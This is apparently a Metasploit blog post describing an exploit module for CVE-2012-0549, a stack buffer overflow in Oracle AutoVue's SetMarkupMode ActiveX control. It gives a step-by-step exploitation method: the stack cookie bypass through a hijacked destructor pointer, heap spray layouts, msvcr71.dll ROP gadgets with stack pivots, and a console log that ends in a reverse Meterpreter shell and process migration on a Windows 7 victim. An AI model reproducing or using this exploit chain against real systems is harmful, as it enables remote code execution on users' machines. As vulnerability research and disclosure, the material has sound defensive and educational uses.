In this blog post we would like to share some details about the Oracle AutoVue exploit for CVE-2012-0549 which we've recently added to the Metasploit Framework. This module exploits a buffer overflow flaw, discovered by Brian Gorenc.

The problem arises when you call the SetMarkupMode function from the AutoVue control (clsid B6FCC215-D303-11D1-BC6C-0000C078797F) with a long sMarkup parameter. The buffer overflow, even when triggered through an API from the AutoVue control, happens in AvMarkupX (AVMRkpX.ocx), where Safe for Script and Safe for Init flags are set to false. The buffer overflow is due to the insecure usage of an strcpy-like function using the controlled sMarkup parameter as source, and a fixed length stack buffer as destination:

.text:100123C5 mov ecx, edi .text:100123C7 call ds:mfc90_910 ; call mfc90!CProperty::GetID .text:100123CD push eax ; controlled data through the sMarkup parameter from SetMarkupMode .text:100123CE lea eax, [esp+44Ch+vulnerable_buffer_var_414] .text:100123D2 push eax .text:100123D3 call PanStrcpy

The PanStrcpy function is exported by the panio.dll DLL, it's just an strcpy implementation where contents are copied from the area pointed by source to destination, until a null byte is found, without having lenghts into account:

int __stdcall PanStrcpy(int dst_arg_0, int src_arg_4) { int v2; // ecx@1 int result; // eax@1 char v4; // dl@5 v2 = src_arg_4; result = dst_arg_0; if ( src_arg_4 ) { if ( dst_arg_0 ) { do { v4 = *(_BYTE *)v2; *(_BYTE *)(dst_arg_0 - src_arg_4 + v2) = *(_BYTE *)v2; ++v2; } while ( v4 ); } } else if ( dst_arg_0 ) { *(_BYTE *)dst_arg_0 = 0; } return result; }

Stack Cookies Bypass

While the vulnerability is straight-forward to understand, exploitation is a little more tricky because the vulnerable function is protected by stack cookie, checked before the ret:

.text:1001246A mov ecx, [esp+438h+var_10] .text:10012471 xor ecx, esp .text:10012473 call @__security_check_cookie@4 ; __security_check_cookie(x) .text:10012478 add esp, 438h .text:1001247E retn 8

In a case like this, SEH overwrite could be a first standard solution for the exploit. But this time the overwritten data in the stack is used in an interesting way, between the overflow and the check of the stack cookie, that can be used to get control of EIP.

Just before the stack cookie check, a call to the mfc90!CMFCRestoredTabInfo::~CMFCRestoredTabInfo destructor succeeds:

.text:10012449 lea ecx, [esp+448h+arg_4] .text:10012450 call ds:mfc90_601 ; call mfc90!CMFCRestoredTabInfo::~CMFCRestoredTabInfo

Because of the overflow the "this" pointer (ecx) can be controlled when calling CMFCRestoredTabInfo::~CMFCRestoredTabInfo. So, we are going to check what happens to this function -- first of all a CStringData from the object is going to be released:

.text:786E63B6 ; void __thiscall ATL__CSimpleStringT_char_1____CSimpleStringT_char_1_(ATL::CStringT > > *this) .text:786E63B6 this = ecx .text:786E63B6 mov eax, [this] ; mfc90_598 .text:786E63B6 ; mfc90_599 .text:786E63B6 ; mfc90_600 .text:786E63B8 sub eax, 10h .text:786E63BB jmp ?Release@CStringData@ATL@@QAEXXZ ; ATL::CStringData::Release(void) .text:786E63BB ??1?$CSimpleStringT@D$00@ATL@@QAE@XZ endp

Since we control the this pointer, we can control the CStringData pointer to be released, so we can go forward and take a look at CStringData::Release. First part of the function seems to retrieve a (reference?) counter from the CStringData and decrement it:

.text:7862FBA4 ; void __thiscall ATL__CStringData__Release(ATL::CStringData *this) .text:7862FBA4 ; CODE XREF: CRuntimeClass::CreateObject(wchar_t const *)+31 p .text:7862FBA4 ; CRuntimeClass::FromName(wchar_t const *)+27 p ... .text:7862FBA4 this = eax .text:7862FBA4 lea ecx, [this+0Ch] .text:7862FBA7 or edx, 0FFFFFFFFh .text:7862FBAA lock xadd [ecx], edx .text:7862FBAE dec edx .text:7862FBAF test edx, edx .text:7862FBB1 jg short locret_7862FBBB

After the decrement, if the counter is 0, the next block of code is reached which allows to control a dynamic call:

.text:7862FBB3 mov ecx, [this] .text:7862FBB5 mov edx, [ecx] .text:7862FBB7 push this .text:7862FBB8 call dword ptr [edx+4]

Remember, we control the CMFCRestoredTabInfo pointer. Therefore if we make it point to a memory region where contents can be user-controlled (via heap spray as sample), so will the CStringData pointer and its reference counter, and finally the virtual function pointer.

In order to achieve exploitation in the easiest case (no DEP, no ASLR), the CMFCRestoredTabInfo pointer can be overwritten with the well known 0x0c0c0c0c and a specially crafted heap spray can be easily built in order to get the next layout:

Address Content Comment 0x0c0c0bfc 0c0c0c0c CStringData this pointer 0x0c0c0c08 1 CStringData reference counter 0x0c0c0c0c 0c0c0c0c CMFCRestoredTabInfo this pointer 0x0c0c0c10 0c0c0c0c CStringData virtual function pointer

In order to bypass DEP (and ASLR) the well known ROP chain from msvcr71.dll of Java 6 is used, in that case a little different layout is needed:

Address Content Comment 0x0c0c0bfc 0c0c0c0c CStringData this pointer 0x0c0c0c08 1 CStringData reference counter 0x0c0c0c0c 0c0c0c0c CMFCRestoredTabInfo this pointer 0x0c0c0c10 0x7c341ae4 (First Stack Pivot) CStringData virtual function pointer

Once the control is transfered to the first StackPivot, it fixes ESP to point to the controlled sMarkup data on the stack:

Address Gadget 0x7c341ae4 ADD ESP, 48 RETN

Where a second stack pivot is located to finally transfer code to the rop chain on the HEAP, after our specially crafted layout:

Address Gadget Purpose 0x7c3522ca ADD EAX,20 RETN EAX stores the CStringData pointer, where a specially crafted object has been placed get EIP control. Because of this an offset (0x20) is added, to point to clean controlled data. It's the reason to use a two stage stack pivoting. 0x7c348b05 XCHG EAX,ESP RETN Redirect ESP to the heap, where the ROP chain plus the shellcode have been placed via heap spray.

And then of course, we finish off the vulnerability with a shell:

msf > use exploit/windows/browser/oracle_autovue_setmarkupmode msf exploit(oracle_autovue_setmarkupmode) > show options Module options (exploit/windows/browser/oracle_autovue_setmarkupmode): Name Current Setting Required Description ---- --------------- -------- ----------- OBFUSCATE false no Enable JavaScript obfuscation SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Automatic msf exploit(oracle_autovue_setmarkupmode) > set OBFUSCATE true OBFUSCATE => true msf exploit(oracle_autovue_setmarkupmode) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.128:4444 [*] Using URL: http://0.0.0.0:8080/BqDGljqonJalxvs [*] Local IP: http://192.168.1.128:8080/BqDGljqonJalxvs [*] Server started. msf exploit(oracle_autovue_setmarkupmode) > [*] 192.168.1.151 oracle_autovue_setmarkupmode - User-agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) [*] 192.168.1.151 oracle_autovue_setmarkupmode - Sending html [*] Sending stage (752128 bytes) to 192.168.1.151 [*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.151:49165) at 2012-08-06 08:41:58 +0200 [*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.151:49165) processing InitialAutoRunScript 'migrate -f' [*] Current server process: iexplore.exe (3156) [*] Spawning notepad.exe process to migrate to [+] Migrating to 3816 [+] Successfully migrated to process msf exploit(oracle_autovue_setmarkupmode) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 WIN-RNJ7NBRK9L7\Juan Vazquez @ WIN-RNJ7NBRK9L7 192.168.1.128:4444 -> 192.168.1.151:49165 (192.168.1.151) msf exploit(oracle_autovue_setmarkupmode) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : WIN-RNJ7NBRK9L7 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter >

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.